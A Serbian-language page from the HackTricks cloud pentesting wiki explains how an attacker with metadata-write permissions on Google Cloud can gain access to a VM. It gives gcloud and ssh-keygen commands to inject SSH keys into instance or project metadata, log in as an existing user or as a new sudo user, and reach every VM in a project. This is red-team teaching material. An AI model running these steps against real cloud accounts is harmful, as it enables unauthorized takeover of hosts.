GCP - Dodavanje prilagođenih SSH metapodataka
Reading time: 5 minutes
GCP - Dodavanje prilagođenih SSH metapodataka
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Modifikacija metapodataka
Modifikacija metapodataka na instanci može dovesti do značajnih bezbednosnih rizika ako napadač dobije potrebne dozvole.
Uključivanje SSH ključeva u prilagođene metapodatke
Na GCP-u, Linux sistemi često izvršavaju skripte iz Python Linux Guest Environment for Google Compute Engine. Kritična komponenta ovoga je accounts daemon, koji je dizajniran da redovno proverava krajnju tačku metapodataka instance za ažuriranja autorizovanih SSH javnih ključeva.
Stoga, ako napadač može da modifikuje prilagođene metapodatke, mogao bi da natera daemon da pronađe novi javni ključ, koji će biti obrađen i integrisan u lokalni sistem. Ključ će biti dodat u ~/.ssh/authorized_keys
datoteku postojećeg korisnika ili potencijalno kreirati novog korisnika sa sudo
privilegijama, u zavisnosti od formata ključa. I napadač će moći da kompromituje host.
Dodavanje SSH ključa postojećem privilegovanom korisniku
- Istražite postojeće SSH ključeve na instanci:
- Izvršite komandu da opišete instancu i njene metapodatke kako biste locirali postojeće SSH ključeve. Relevantni deo u izlazu biće pod
metadata
, posebno ključssh-keys
.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Obratite pažnju na format SSH ključeva: korisničko ime prethodi ključevi, odvojeni dvotačkom.
- Pripremite tekstualnu datoteku za SSH ključ metapodatke:
- Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku pod imenom
meta.txt
. Ovo je neophodno za očuvanje postojećih ključeva dok dodajete nove.
- Generišite novi SSH ključ za ciljanog korisnika (
alice
u ovom primeru):
- Koristite komandu
ssh-keygen
da generišete novi SSH ključ, osiguravajući da polje komentara (-C
) odgovara ciljanom korisničkom imenu.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Dodajte novi javni ključ u
meta.txt
, imitujući format koji se nalazi u metapodacima instance.
- Ažurirajte metapodatke SSH ključeva instance:
- Primijenite ažurirane metapodatke SSH ključeva na instancu koristeći komandu
gcloud compute instances add-metadata
.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Pristupite instanci koristeći novi SSH ključ:
- Povežite se na instancu putem SSH koristeći novi ključ, pristupajući shell-u u kontekstu ciljanog korisnika (
alice
u ovom primeru).
ssh -i ./key alice@localhost
sudo id
Kreirajte novog privilegovanog korisnika i dodajte SSH ključ
Ako nijedan zanimljiv korisnik nije pronađen, moguće je kreirati novog koji će dobiti sudo
privilegije:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH ključevi na nivou projekta
Moguće je proširiti domet SSH pristupa na više Virtuelnih Mašina (VM) u cloud okruženju primenom SSH ključeva na nivou projekta. Ovaj pristup omogućava SSH pristup bilo kojoj instanci unutar projekta koja nije eksplicitno blokirala SSH ključeve na nivou projekta. Evo sažetog vodiča:
- Primena SSH ključeva na nivou projekta:
- Koristite komandu
gcloud compute project-info add-metadata
da dodate SSH ključeve izmeta.txt
u metapodatke projekta. Ova akcija osigurava da SSH ključevi budu prepoznati na svim VM-ovima u projektu, osim ako VM nema omogućenu opciju "Blokiraj SSH ključeve na nivou projekta".
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH u instance koristeći ključeve na nivou projekta:
- Sa SSH ključevima na nivou projekta, možete SSH u bilo koju instancu unutar projekta. Instance koje ne blokiraju ključeve na nivou projekta će prihvatiti SSH ključ, omogućavajući pristup.
- Direktna metoda za SSH u instancu je korišćenje komande
gcloud compute ssh [INSTANCE]
. Ova komanda koristi vaše trenutno korisničko ime i SSH ključeve postavljene na nivou projekta da pokuša pristup.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.